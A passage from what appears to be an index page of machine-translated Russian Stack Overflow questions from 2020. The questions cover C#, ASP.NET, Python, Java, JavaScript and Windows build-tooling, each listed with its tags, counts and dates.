    row.columns.collectMap{ [it.name,it.val] }
}

но я ничего не видел в документах... я что-то упустил? или я просто слишком ленив?

java   collections   groovy   expandometaclass    

507   8   22:24, 16th August, 2020


Это плохая идея, чтобы выставить иерархию наследования в структуре пространства имен?

У меня есть группа взаимосвязанных классов, которые все переопределены вместе, чтобы создать конкретную реализацию. Мне интересно, если это хорошая идея, чтобы заключить взаимосвязанные подклассы в пространстве имен.

Для примера рассмотрим следующие пространства имен и классы:

namespace Protocol
{
  public abstract class Message { }
  public abstract class Driver { }
}
namespace Protocol.Tcp
{
  public class TcpMessage : Message { }
  public class TcpDriver : Driver { }
}
namespace Protocol.Ftp
{
  public class FtpMessage : Message { }
  public class FtpDriver : Driver { }
}

Каков наилучший способ структурировать пространства имен? Кажется неизбежным выставлять наследование в пространстве имен, поскольку базовые классы на самом деле не принадлежат ни к пространству имен Protocol.Tcp, ни к пространству имен Protocol.Ftp.

c#   oop   inheritance   naming   convention    

433   3   07:40, 9th August, 2020


Как отслеживать текстовый файл в реальном времени

Для отладки в несколько закрытой системе мне приходится выводить текст в файл.

Кто-нибудь знает инструмент, работающий на windows (консольный или нет), который обнаруживает изменения в файле и выводит их в режиме реального времени?

monitoring   text-files    

677   23   17:12, 5th August, 2020


Быстрый простой способ перенести SQLite3 в MySQL?

Кто-нибудь знает быстрый и простой способ переноса базы данных SQLite3 в MySQL?

mysql   sqlite   migration    

2433   18   11:47, 5th August, 2020


GUI Automation testing - вопросы обработки окон

Наша компания в настоящее время пишет инструмент автоматизации тестирования GUI для компактных рамочных приложений. Мы изначально искали много инструментов, но ни один из них не был подходящим для нас.

С помощью этого инструмента вы можете записывать тестовые случаи и группировать их вместе в наборы тестов. Для каждого тестового набора генерируется приложение, которое запускает application-under-test и имитирует ввод данных пользователем.

В целом инструмент работает нормально, но поскольку мы используем дескрипторы окон для моделирования пользовательского ввода, вы не можете сделать очень много вещей. Например, мы не можем получить имя элемента управления (мы просто получаем заголовок).

Еще одна проблема, связанная с использованием дескрипторов окон, - это проверка наличия изменений. В данный момент мы имитируем щелчок по элементу управления и в зависимости от результата узнаем, перешло ли приложение на следующий шаг.

Есть ли другой (более простой) способ делать такие вещи (например, очередь сообщений или что-то еще)?

ui-automation   window-handles   gui-testing    

535   5   02:03, 6th August, 2020


Как предотвратить блокировку сервера после сеанса удаленного рабочего стола

В рамках нашего databuild запустите стороннюю программу (3D Studio Max) для экспорта ряда активов. К сожалению, если пользователь в данный момент не вошел в систему или машина заблокирована, то Max работает неправильно.

Это можно решить для недавно загруженных машин, используя такой метод, как TweakUI для автоматического входа в систему. Однако когда пользователь подключается через удаленный рабочий стол (чтобы инициировать незапланированную сборку, изменить настройку, что угодно), то после завершения сеанса машина остается в заблокированном состоянии с максимальным невозможным запуском.

Я ищу способ настроить windows (с помощью честных средств или фола), чтобы он либо не блокировался, когда удаленный сеанс заканчивается, либо сам "unlocks" вскоре после этого. Я знаю о методе под XP, где вы можете запустить batchfile на машине, которая запускает удаленного пользователя, но это не работает на сервере Windows.

windows-server-2008   build-automation   windows-server-2003    

418   7   20:00, 12th August, 2020


Asp.net MVC User Control ViewData

Когда контроллер отображает представление на основе модели, вы можете получить свойства из коллекции ViewData с помощью индексатора (т. е. ViewData["Property"]). Однако у меня есть общий пользовательский элемент управления, который я попытался вызвать, используя следующее:

return View("Message", new { DisplayMessage = "This is a test" });

и на моем пульте управления сообщениями у меня было это:

<%= ViewData["DisplayMessage"] %>

Я думаю, что это будет правильно отображать DisplayMessage, однако null возвращается. После большой дозы возни вокруг, я, наконец, создал класс "MessageData" для того, чтобы строго ввести свой пользовательский элемент управления:

public class MessageControl : ViewUserControl<MessageData>

и теперь этот звонок работает:

return View("Message", new MessageData() { DisplayMessage = "This is a test" });

и может отображаться следующим образом:

<%= ViewData.Model.DisplayMessage %>

Почему бы не добавить свойство DisplayMessage к свойству ViewData (т. е. ViewData["DisplayMessage"]) сбор без сильного ввода пользовательского элемента управления? Это что, специально придумано? Разве не логично, что ViewData будет содержать ключ для "DisplayMessage"?

asp.net   asp.net-mvc   viewdata   viewusercontrol    

415   2   22:19, 19th August, 2020


Как проверить соответствие набора файлов схеме именования

У меня есть куча файлов (TV эпизодов, хотя это довольно произвольно), которые я хочу проверить, соответствуют определенной схеме именования/организации..

В настоящее время: у меня есть три массива regex, один для допустимых имен файлов, один для файлов, в которых отсутствует имя эпизода, и один для допустимых путей.

Тогда я петли хоть каждый действительный-именем regex, если они совпадают, то добавить его "valid" дикт, если не, сделать тоже самое с missing-ep-name regexs, если он соответствует этому нужно присоединить к "invalid" дикт с кодом ошибки (2:'отсутствует epsiode имя'), если он не соответствует, он будет добавлен к недействительным с 'malformed name' код ошибки.

Текущий код можно найти здесь

Я хочу добавить правило, которое проверяет наличие файла folder.jpg в каждом каталоге, но добавление этого сделает код значительно более беспорядочным в его текущем состоянии..

Как я могу написать эту систему более расширяемым способом?

Правила, которые он должен проверить, были бы..

  • Файл имеет формат Show Name - [01x23] - Episode Name.avi или Show Name - [01xSpecial02] - Special Name.avi или Show Name - [01xExtra01] - Extra Name.avi
  • Если имя файла имеет формат Show Name - [01x23].avi , отобразите его в разделе вывода " отсутствующее имя эпизода
  • Путь должен быть в формате Show Name/season 2/the_file.avi (где сезон 2 должен быть правильным номером сезона в имени файла)
  • каждая папка Show Name/season 1/ должна содержать "folder.jpg"
.

есть идеи? Пока я пытаюсь проверить эпизоды TV, эта концепция / код должен быть применим ко многим вещам..

Единственной мыслью у меня был список диктов в формате:

checker = [
{
    'name':'valid files',
    'type':'file',
    'function':check_valid(), # runs check_valid() on all files
    'status':0 # if it returns True, this is the status the file gets
}

python   validation   naming    

487   2   14:16, 7th August, 2020


Выражение Против Утверждения

Я спрашиваю относительно c#,, но предполагаю, что это то же самое в большинстве других языков.

Есть ли у кого-нибудь хорошее определение выражений и утверждений и каковы различия?

c#   language-features   expression    

489   18   19:20, 11th August, 2020


Построить базовый итератор Python

Как можно было бы создать итеративную функцию (или объект итератора) в python?

python   object   iterator    

532   9   13:47, 13th August, 2020


Есть ли причины не использовать JSONP для AJA~X запросов?

Если вы создаете приложение AJA~Xy , есть ли какие-либо недостатки в использовании запросов/ответов JSONP , даже если вы не планируете использовать запросы cross-domain ?

Единственное, что я могу придумать, это то, что есть пара дополнительных байтов для оболочки обратного вызова...

Редактировать:

Я нашел это , что также предполагает security and error handling в качестве потенциальных проблем...

Там нет обработки ошибок. script injection либо работает, либо нет. Если есть ошибка из injection, она попадет на страницу, и за исключением обработчика ошибок с широким окном (плохо, плохо, очень плохо), вам нужно убедиться, что возвращаемое значение действительно на server side .

Я не думаю, что error handling -это большая проблема... большинство из нас будет использовать библиотеку для создания JSON ... правильность моего ответа не является проблемой для этого вопроса.

и безопасность:

В интернете есть документы, которые могут помочь, но в качестве беглой проверки я бы проверил реферер в скрипте server side .

похоже, что это потенциальная проблема с любым типом ответа... конечно, в сфере безопасности нет ничего уникального для JSONP ...?

javascript   ajax   json   jsonp    

375   4   23:30, 19th August, 2020


Проверка подлинности с помощью форм в приложениях

Я работаю над внутренним веб-инструментом для своей компании. Частью этого инструмента является другое приложение (Панель управления круиз-контролем), которое работает в своем собственном виртуальном каталоге под моим корневым приложением.

Я хотел ограничить доступ к этому внутреннему приложению, настроив аутентификацию форм на нем и имея форму входа в корневое приложение.

Я поместил следующее в корневые приложения web.config:

<location path="ccnet">
  <system.web>
    <authentication mode="Forms">
        <forms loginUrl="/default.aspx" timeout="5000"/>
    </authentication>
    <authorization>
      <allow users="?"/>
      <deny users="?"/>
    </authorization>        
  </system.web>    
</location>

Однако проверка подлинности форм не работает, она не перенаправляется обратно на страницу входа, когда я получаю доступ к этому приложению напрямую.

У меня такое чувство, что у меня есть теги <allow> и <deny>, установленные неправильно. Может кто-нибудь прояснить?

asp.net   authentication   cruisecontrol.net    

604   8   03:03, 18th August, 2020


База данных с поддержкой i18n для java web-app

Я хотел бы использовать базу данных для хранения пар ключ / значение i18n, чтобы мы могли изменять / перезагружать данные i18n во время выполнения. Кто-нибудь уже сделал это? Или у кого-нибудь есть идея, как это реализовать? Я прочитал несколько тем на эту тему, но я не видел работоспособного решения.

Я специально ссылаюсь на то, что будет работать с тегами jstl, такими как

<fmt:setlocale>
<fmt:bundle>
<fmt:setBundle>
<fmt:message>

Я думаю, что это будет включать расширение ResourceBundle, но когда я попытался это сделать, я столкнулся с проблемами, которые были связаны с тем, как теги jstl получают ресурс bundle.

java   internationalization    

423   4   19:24, 3rd August, 2020


Транспонировать/распаковать функцию (обратная zip)?

У меня есть список кортежей из 2 элементов, и я хотел бы преобразовать их в 2 списка, где первый содержит первый элемент в каждом кортеже, а второй список содержит второй элемент.

Например:

original = [('a', 1), ('b', 2), ('c', 3), ('d', 4)]
# and I want to become...
result = (['a', 'b', 'c', 'd'], [1, 2, 3, 4])

Есть ли встроенная функция, которая делает это?

python   list   matrix   transpose    

578   6   10:27, 1st August, 2020


Как управлять настройками конфигурации для каждого разработчика

В проекте .NET предположим, что у вас есть параметр конфигурации, например строка подключения, хранящаяся в файле app.config, который отличается для каждого разработчика в вашей команде (они могут использовать локальный сервер SQL, или конкретный экземпляр сервера, или использовать удаленный сервер и т. д.).

Как вы можете структурировать свое решение так, чтобы каждый разработчик мог иметь свою собственную разработку "preferences" (т. е. не проверено в системе управления версиями), но предоставляет строку подключения по умолчанию, которая проверяется в системе управления версиями (тем самым предоставляя правильные значения по умолчанию для процесса сборки или новых разработчиков).


Edit: может ли метод " file ", предложенный @Jonathon, каким-то образом использоваться с разделом connectionStrings ?

.net   configuration-files    

431   5   21:39, 6th August, 2020


В любом случае, чтобы остановить Windows приведение приложения к фронту при отображении контекстного меню на значке в трее?

Мы испытываем эту досадную проблему, когда у нас есть контекстное меню на нашем значке в трее, если мы отобразим это контекстное меню, мы должны SetForegroundWindow и вывести его на передний план. Это действительно раздражает и совсем не то, что мы хотим.

Есть ли обходной путь, я замечаю, что Outlook MS Messenger и другие приложения MS не страдают от этого, возможно, они не используют стандартное меню и должны были написать свое собственное ... почему они не выпускают этот код, если у них есть?

В этой статье описывается поведение 'as design': меню для значков уведомлений не работают правильно

Редактировать мы используем C++ / Win32 не формы, поэтому мы используем TrackPopupMenu.

windows   menu   trayicon    

390   1   12:41, 27th August, 2020


Рекомендации по системе управления контентом

Менеджмент думает об изменении систем управления контентом. Что вы делаете use/recommend?

  1. Какое решение UCM использует ваша компания?
  2. Насколько велика ваша компания?
  3. Вы довольны реализацией?

Текущая настройка:

  1. Компания, в которой я работаю, использует Oracle ECM (ранее Stellent UCM).
  2. У нас есть где-то более 10 000 сотрудников по всей Австралии, Новый Зеландия и Индонезия.
  3. Это работает! Я уже некоторое время работал с этой системой. Я могу видеть где первоначальная реализация пошла не так. Его 3 года спустя и это время переписывать! (Трехлетний зуд?)

content-management-system   content-management   ecm    

435   13   03:11, 26th August, 2020


Принудительное оформление атрибутов классов / методов

Следуя моему недавнему вопросу о больших, сложных объектах Как результате веб-службы . Я думал о том, как я могу гарантировать, что все будущие дочерние классы сериализуются в XML.

Теперь, очевидно, я мог бы реализовать интерфейс IXmlSerializable , а затем бросить в него читателя / писателя, но я хотел бы избежать этого, поскольку это означает, что мне нужно создавать экземпляр читателя/писателя всякий раз, когда я хочу это сделать, и 99.99% времени я буду работать со строкой, поэтому я могу просто написать свой собственный.

Однако, чтобы сериализовать до XML, я просто украшаю класс и его членов Xml? ?? атрибуты ( XmlRoot , XmlElement и др.) и затем передать его в XmlSerializer и StringWriter , чтобы получить строку. И это все хорошо. Я намерен поместить метод для возврата строки в общий метод утилиты, поэтому мне не нужно беспокоиться о типе и т. д.

То, что меня беспокоит, заключается в следующем: если я не украшаю класс(ы) необходимыми атрибутами, ошибка не возникает до времени выполнения.

Есть ли способ применить украшение атрибута? Можно ли это сделать с помощью FxCop? (Я еще не использовал FxCop)

UPDATE:

Извините за задержку в получении этого закрыть ребята, много дел!

Определенно нравится идея использовать отражение, чтобы сделать это в тестовом случае, а не прибегать к FxCop (например, чтобы держать все вместе).. Ответ Фредрика Калсета был фантастическим, спасибо за включение кода, поскольку мне, вероятно, потребовалось бы немного копать, чтобы понять, как это сделать самому!

+1 к другим ребятам за аналогичные предложения :)

c#   xml   serialization   coding-style   .net-attributes    

535   5   04:59, 1st August, 2020


Проверьте права доступа к файлам

Как я могу проверить file permissions, не имея необходимости запускать конкретную команду операционной системы через passthru() или exec() ?

php   file-permissions    

459   5   00:07, 12th August, 2020


Используете ли вы виртуализированные рабочие столы для устаревших / редко используемых приложений?

Я задавался вопросом, использует ли кто-нибудь virtualized desktop PCs (работает WinXP Pro или старше), чтобы иметь некоторые старые приложения, которые редко используются для некоторых текущих задач.

Скажем, у вас есть действительно старый проект, который время от времени нуждается в обновлении документа в системе базы данных или что-то в этом роде. Приложение базы данных выполняется на виртуализированном рабочем столе, который запускается только при необходимости.

Я думаю, что мы могли бы сэкономить энергию, оборудование и пространство, если бы мы виртуализировали некоторые из этих старых ящиков. Какие-нибудь установки в вашей компании?


редактирование лицензирования может вызвать беспокойство, но я предполагаю, что у вас есть действующая лицензия для старого рабочего стола. Возможно, лицензия недействительна в среде VM, я бы определенно проверил это раньше.

Конечно, если приложение критикует производительность, виртуализация может повредить. Но я думаю о каком-то устаревшем приложении, которое все еще используется для выполнения, скажем, расчета каждые 12 недель для определенного customer/service.

desktop   virtualization   legacy    

413   10   12:23, 17th August, 2020


Принудительное выполнение вызова требуемой функции

У меня есть класс "Status" в C#,, используемый следующим образом:

Status MyFunction()
{
   if(...) // something bad
     return new Status(false, "Something went wrong")
   else
     return new Status(true, "OK");
}

Вы поняли идею. Все абоненты MyFunction должны проверить возвращенный статус:

Status myStatus = MyFunction();
if ( ! myStatus.IsOK() )
   // handle it, show a message,...

Ленивые абоненты, однако, могут игнорировать статус.

MyFunction(); // call function and ignore returned Status

или

{
  Status myStatus = MyFunction(); 
} // lose all references to myStatus, without calling IsOK() on it

Можно ли сделать это невозможным? например, исключение броска

В общем : можно ли написать класс C#, на котором вы должны вызвать определенную функцию?

В версии C++ класса Status я могу написать тест на некотором частном bool bIsChecked в деструкторе и позвонить в некоторые колокола, когда кто-то не проверяет этот экземпляр.

Что такое эквивалентный вариант в C#? Я где-то читал, что " вам не нужен деструктор в вашем классе C#"

Является ли метод Dispose интерфейса IDisposable опцией?

В этом случае нет неуправляемых ресурсов для освобождения. Кроме того, не определено, когда GC будет утилизировать объект. Когда он в конечном итоге будет удален, все еще можно узнать, где и когда вы проигнорировали этот конкретный экземпляр состояния? Ключевое слово "using" действительно помогает, Но опять же, оно не требуется для ленивых абонентов.

c#   garbage-collection   dispose   destructor    

443   11   16:58, 10th August, 2020


Загрузка раздела конфигурации System.ServiceModel с помощью ConfigurationManager

Используя C# .NET 3.5 и WCF, я пытаюсь записать некоторые конфигурации WCF в клиентском приложении (имя сервера, к которому подключается клиент).

Очевидный способ-использовать ConfigurationManager для загрузки раздела конфигурации и записи необходимых мне данных.

var serviceModelSection = ConfigurationManager.GetSection("system.serviceModel");

Кажется, что всегда возвращается null.

var serviceModelSection = ConfigurationManager.GetSection("appSettings");

Работать отлично.

Раздел конфигурации присутствует в App.config, но по какой-то причине ConfigurationManager отказывается загружать раздел system.ServiceModel .

Я хочу избежать ручной загрузки файла xxx.exe.config и использования XPath, но если мне придется прибегнуть к этому, я сделаю это. Просто кажется, что это немного халтура.

Есть какие-нибудь предложения?

c#   .net   xml   wcf   configurationmanager    

527   5   15:48, 14th August, 2020


Представляем Python

Компания, с которой я работал, имеет двух разработчиков, работающих полный рабочий день, и несколько фрилансеров. Они находятся в процессе найма нового ведущего разработчика, чтобы попытаться навести порядок и управление в разработке.

Но в настоящее время один из разработчиков увидел свет Django (на сегодняшний день компания разработала только PHP), в то время как другой разработчик обеспокоен тем, что введение нового языка (Python) является плохой идеей прямо сейчас.

Как они должны подходить к внедрению этой новой технологии? Очевидно, что только один из разработчиков действительно знает Python, не будет никакой избыточности, когда этот разработчик уйдет или покинет компанию.

Должны ли они беспокоиться о том, чтобы ввести Python, или они должны искать решения только для PHP до тех пор, пока у команды на самом деле не будет более одного Pythonion? Без лидера команды, решения должны падать на них.

php   python    

421   8   13:56, 28th August, 2020


Как найти реализацию интерфейса C# в текущей assembly с определенным именем?

У меня есть интерфейс под названием IStep , который может выполнять некоторые вычисления (см. " Выполнение в Царстве существительных "). Во время выполнения я хочу выбрать соответствующую реализацию по имени класса.

// use like this:
IStep step = GetStep(sName);

c#   linq   reflection   linq-to-objects    

472   4   13:29, 21st August, 2020


Как я могу отменить регистрацию COM DLL, изначально добавленных с RegSvr32, когда /u arg не работает?

Правильно, изначально бежал:

c:\regsvr32 Amazing.dll

затем (случайно-я мог бы добавить) я должен был запустить его снова, и (действительно) снова, когда были выпущены новые версии 'Amazing.dll'. Да , теперь я знаю, что должен был бежать.:

c:\regsvr32 /u Amazing.dll

заранее-но эй! А я и забыл.

Чтобы перейти к сути дела, когда я добавляю ссылку COM в VS, я вижу 3 экземпляра 'Amazing', все они указывают на одно и то же место (c:\Amazing.dll), запуск regsvr32 /u удаляет одну из ссылок, во второй раз - ничего не делает...

Как мне избавиться от этих ссылок? Я смотрю на сценарий regedit? - Если да - что именно произойдет, если я удалю один из ключей???

Овации

visual-studio   com   regsvr32   dllregistration    

548   3   10:25, 24th August, 2020


Существует ли система отслеживания ошибок/проблем, которая интегрируется с Mercurial?

Я уже использовал Trac / Subversion раньше, и мне очень нравится интеграция. Мой текущий проект использует Mercurial для распределенной разработки, и было бы неплохо иметь возможность отслеживать проблемы/ошибки и интегрировать это с Mercurial. Я понял, что это может быть сложно с природой DVCS.

mercurial   integration   bug-tracking    

476   12   09:28, 23rd August, 2020


Как я могу перенаправить пользователя на настраиваемую страницу 404 в ASP.NET MVC вместо того, чтобы бросать исключение?

Я хочу иметь возможность захватить исключение, которое возникает, когда пользователь запрашивает несуществующий контроллер, и перенаправить его на страницу 404. Как я могу это сделать?

Например, пользователь запрашивает http://www.nosite.com/paeges/1 ( должно быть /pages/). Как мне сделать так, чтобы они были перенаправлены на экран 404, а не на экран исключений?

asp.net-mvc   exception   routes    

479   3   02:28, 27th August, 2020


Алгоритм для выполнения вычисления RFC в Java

RFC для класса Java-это набор всех методов, которые могут быть вызваны в ответ на сообщение объекту класса или каким-либо методом в классе. RFC = M + R, где M = количество методов в классе. R = общее число других методов, непосредственно вызываемых из M.

Мышление C-это то .класс и J-это то .java файл, из которого нам нужно вычислить RFC.

class J{

 a(){}
 b(){}
 c(){
   e1.e();
   e1.f();
   e1.g();
 }
 h(){
   i.k();
   i.j();
  }
  m(){}
  n(){
   i.o();
   i.p();
   i.p();
   i.p();
  }
}

здесь M=6 и R=9 (Не беспокойтесь о вызове внутри цикла. Это рассматривается как один вызов)

Вычисление M легко. Загрузите C с помощью загрузчика классов и используйте отражение, чтобы получить количество методов.

Вычисление R не является прямым. Нам нужно подсчитать количество вызовов метода из класса. Только первый уровень.

Для вычисления R я должен использовать regex. Обычно формат будет (вызовы без использования . не учитываются)

[variable_name].[method_name]([zero or more parameters]);

или

[variable_name].[method_name]([zero or more parameters])

без точки с запятой, когда возврат вызова напрямую становится параметром для другого метода. или

[variable_name].[method_name]([zero or more parameters]).method2();

это становится двумя вызовами метода

Какие еще шаблоны вызова метода вы можете придумать? Есть ли другой способ, кроме использования RegEx, который может быть использован для вычисления R.


UPDATE:
@McDowell похоже, что с помощью BCEL я могу упростить весь процесс. Дай мне попробовать.

java   regex   algorithm   reflection    

556   4   20:01, 19th August, 2020


Для чего использовать Windows CardSpace?

Я делаю какую-то фанковую аутентификацию (и да, я знаю, open-id потрясающий, но опять же мой open-id не работает прямо сейчас!).

Натыкаясь на Windows CardSpace мне было интересно, использовал ли кто-нибудь это в реальной системе продукта. Если вы использовали его, каковы были плюсы и минусы для вас? И как я могу использовать его в моем open-id?

windows   security   authentication    

441   1   04:25, 7th August, 2020


Будучи как DRY, насколько это возможно в Ruby на Rails приложение

В настоящее время я использую удивительный плагин attachment-fu для приложения Rails, но как начинающий разработчик я никогда не сталкивался с сценарием, подобным тому, в котором я оказался.

По сути, я использую плагин attachment-fu на двух уровнях.

  1. Это для пользовательских аватаров в классе user.
  2. Это разрешить вложения файлов ( PDFs и т. д.) В системе обмена сообщениями.

Мой вопрос заключается в том , какой наилучшей практикой использования было бы в этих ситуациях оставаться DRY , ясным и последовательным.

Очевидно, что нет смысла определять и выполнять плагин в обоих классах, но есть что-то очень странное для меня (возможно, необоснованное) о том, чтобы просто идти вперед и настраивать все это в классе божественного приложения.

Есть ли что-то между ними, или родительский класс-это путь?

Спасибо!

ruby-on-rails   ruby   model-view-controller   attachment-fu    

380   6   16:01, 12th August, 2020


Mac iWork / Автоматизация Страниц

Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.

Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:

... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...

Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.

У кого-нибудь есть какие-нибудь мысли по этому поводу?

xml   automation   applescript   iwork    

463   0   15:03, 6th August, 2020


Как лучше всего распределить инструменты командной строки python?

Мой текущий скрипт setup.py работает нормально, но он устанавливает tvnamer.py (инструмент) как tvnamer.py в пакеты сайта или что-то подобное..

Можно ли сделать setup.py install tvnamer.py как tvnamer и / или есть ли лучший способ установки приложений командной строки?

python   command-line   packaging    

408   1   04:48, 9th August, 2020


Рекомендации по синтаксическому анализу AS3 XML

У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:

TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".

Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.

Есть ли какой-нибудь верный способ разобрать XML внутри Flash?

Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:

data = new XML(mainXMLLoader.data);

//  calculate the total number of entries.
for each (var i in data.channel.item){
    _totalEntries++;
}

Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?


Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?


@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded

xml   flash   actionscript-3   rss   fileparse    

576   10   07:52, 26th August, 2020


Есть ли рекомендации для легких .net Win форм HTML элементов управления рендерером?

Пытаясь избежать управления .net WebBrowser (мне не нужно переходить к url, печатать визуализированные html или любые другие встроенные лакомства). Обертывание IE dll кажется немного тяжеловесным.

Мне просто нужно что - то, что может отображать основной html помеченный текст-эквивалент html RichTextBox в действительности. У кого-нибудь есть опыт / рекомендации / военные истории?

.net   winforms   user-interface   controls    

510   5   20:31, 2nd August, 2020


Использование ocx в консольном приложении

Я хочу быстро протестировать ocx. Как мне удалить этот ocx в консольном приложении. Я нашел несколько учебных пособий в CodeProject, но они неполные.

c++   visual-c++   console   activex    

486   3   10:12, 2nd August, 2020


Решение deployment, CM, InstallShield

Люди,

У нас есть 4 или 5 утилит, которые работают в сочетании с нашим приложением. Эти утилиты представляют собой либо .bat файлов, либо VB приложения, PowerBuilder и т. д. Я пытаюсь управлять этими utils в системе управления версиями и пытаюсь найти лучший способ назначить им версии. Прямо сейчас разработчики используют метаданные системы управления версиями-в частности, метку-для хранения номера версии инструмента.

Моя цель состоит в том, чтобы иметь индивидуальные пакеты InstallShield для каждой утилиты, а также простые средства для управления и назначения номеров версий этим пакетам.

Вы бы рекомендовали отдельный файл .ini с информацией, или хранить информацию в самом файле InstallShield .ism, или просто использовать информацию о метаданных из средства управления версиями?


UPDATE :

Мне нравится эта идея, Орион. Но у меня есть одна забота. Скрипт, увеличивающий номер версии... он не может быть достаточно умен, чтобы увеличить основное число и т. д. право. напр. если один из utils имеет версию 1.2.3, и мы находимся в точке, где новая версия является 2.0.0. Сценарий может быть не в состоянии справиться с этим.

Я думаю, что это во многом связано с нашими методами ветвления-у нас их нет. Люди думали, что раз уж утили такие маленькие, то источник может и не нуждаться в ответвлениях.

content-management-system   versioning   installshield   packaging    

511   3   20:27, 4th August, 2020


PowerShell App.Config

Кто-нибудь придумал, как заставить PowerShell использовать app.config файлов? У меня есть пара .NET DLL, которые я хотел бы использовать в одном из своих сценариев, но они ожидают, что их собственные разделы конфигурации будут присутствовать в app.config / web.config .

powershell   configuration-files    

594   3   13:02, 22nd August, 2020


Разве AnkhSVN годится?

Я спросил пару коллег о AnkhSVN , и ни один из них не был доволен этим. Один из них зашел так далеко, что сказал, что AnkhSVN несколько раз испортил свой девенв.

Каков ваш опыт работы с AnkhSVN? Мне очень не хватает встроенного инструмента управления версиями IDE.

version-control   ankhsvn    

458   12   13:38, 25th August, 2020


Запретить проглатывание исключений элементом управления WebBrowser

Я использую System.Windows.Forms.WebBrowser, чтобы сделать представление a-la начальной страницы Visual Studio. Однако, похоже, что элемент управления ловит и обрабатывает все исключения, молча погружая их! Не нужно говорить, что это очень неудачное поведение.

void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
    // WebBrowser.Navigating event handler
    throw new Exception("OMG!");
}

Приведенный выше код отменит навигацию и проглотит исключение.

void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
    // WebBrowser.Navigating event handler
    try
    {
        e.Cancel = true;
        if (actions.ContainsKey(e.Url.ToString()))
        {
            actions[e.Url.ToString()].Invoke(e.Url, webBrowser.Document);
        }
    }
    catch (Exception exception)
    {
        MessageBox.Show(exception.ToString());
    }
}

Итак, то, что я делаю (выше), - это поймать все исключения и открыть окно, это лучше, чем молча терпеть неудачу, но все же явно далек от идеала. Я бы хотел, чтобы он перенаправлял исключение через обычный путь сбоя приложения, чтобы оно в конечном итоге становилось необработанным или обрабатывалось приложением из корня.

Есть ли способ сказать элементу управления WebBrowser , чтобы остановить потопление исключений и просто переслать их естественным и ожидаемым способом? Или есть какой-то хакерский способ бросить исключение через родные границы?

.net   winforms   exception-handling   webbrowser-control    

412   2   20:05, 14th August, 2020


Лучший модуль мониторинга трафика / производительности / использования?

Есть ли какие-либо пакеты с открытым исходным кодом (или, я думаю, коммерческие), которые вы можете подключить к своему сайту для целей мониторинга? Я хотел бы что-то, что мы можем подключить к нашему сайту ASP.NET и использовать для предоставления отчетов о таких вещах, как:

  • производительность с течением времени
  • токовая нагрузка
  • трафик страница
  • SQL производительность
  • PU контроль времени

В идеале в c# :)

С некоторыми сексуальными графиками.

Edit: я также был бы доволен пакетом, который я могу кормить статистикой и представлениями данных, и он будет анализировать тенденции, выявлять аномальное поведение (например, -за последний час никто не заходил в систему. это нормально?", "обнаружен высокий уровень трафика", "обнаружено низкое количество вызовов API") и, как правило, очень полезно. Существует ли такая вещь?

В моем последнем офисе у нас был большой экран, который показывал нам множество счетчиков производительности в течение нескольких временных диапазонов, и мы могли заметить странные вещи, происходящие, Но данные не хранились, и не было никакого способа сообщить об этом. Его пакет для этого, что я после этого.

performance   monitoring   usage-statistics    

539   8   19:45, 22nd August, 2020


Проверка десятичных чисел в JavaScript - IsNumeric()

Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?

Бонусные баллы за:

  1. Ясность. Раствор должен быть чистым и простым.
  2. Межплатформенный.

Сценарии тестирования:

01. IsNumeric('-1')      => true
02. IsNumeric('-1.5')    => true
03. IsNumeric('0')       => true
04. IsNumeric('0.42')    => true
05. IsNumeric('.42')     => true
06. IsNumeric('99,999')  => false
07. IsNumeric('0x89f')   => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3')   => false
10. IsNumeric('')        => false
11. IsNumeric('blah')    => false

javascript   validation   numbers    

609   25   08:28, 18th August, 2020


Изменение Круиза Control.NET

Мы исследуем использование CruiseControl.NET в качестве поставщика сборки непрерывной интеграции, а также автоматизируем первую часть нашего процесса deployment.

Кто-нибудь изменил панель мониторинга CruiseControl.NET's, чтобы добавить пользовательские роли входа и пользователя (IE, отдельный доступ к принудительной сборке только для определенных людей на основе каждого проекта?

Панель мониторинга-это приложение .NET, но я считаю, что он использует движок представления nVelocity вместо веб-форм, с которыми у меня нет опыта.

Можете ли вы смешать nVelocity и Webforms,или мне нужно потратить день на изучение чего-то нового =)

cruisecontrol.net   nvelocity    

484   2   09:20, 25th August, 2020


В C#, нужно ли вызывать базовый конструктор?

В C#,, если у меня есть унаследованный класс с конструктором по умолчанию, должен ли я явно вызывать конструктор базового класса или он будет вызван неявно?

class BaseClass
{
    public BaseClass()
    {
        // ... some code
    }
}
class MyClass : BaseClass
{
    public MyClass() // Do I need to put ": base()" here or is it implied?
    {
        // ... some code
    }
}

c#   inheritance   constructor    

500   7   10:41, 3rd August, 2020


Лучший способ начать изучение дизайна веб-приложений

